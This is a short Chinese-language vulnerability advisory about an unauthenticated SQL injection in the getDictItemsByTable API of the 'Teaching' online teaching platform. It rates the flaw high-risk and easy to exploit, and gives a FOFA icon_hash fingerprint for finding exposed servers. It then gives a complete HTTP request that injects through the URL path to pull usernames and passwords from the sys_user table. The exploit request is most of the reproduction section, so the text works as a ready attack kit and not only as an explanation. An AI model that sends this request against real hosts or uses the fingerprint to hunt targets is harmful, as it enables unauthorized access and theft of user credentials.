

Teaching 在线教学平台 getDictItemsByTable SQL注入漏洞

漏洞描述

Teaching 在线教学平台getDictItemsByTable 处存在SQL注入漏洞，未经身份验证的远程攻击者可利用此漏洞获取数据库敏感信息，进一步利用可获取服务器权限。

影响版本

Teaching 在线教学平台

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: icon_hash="1778610975"

POC/EXP:

```
GET /api/sys/ng-alain/getDictItemsByTable/'%20from%20sys_user/username,password%20'/x.js
HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/121.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8
,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
```

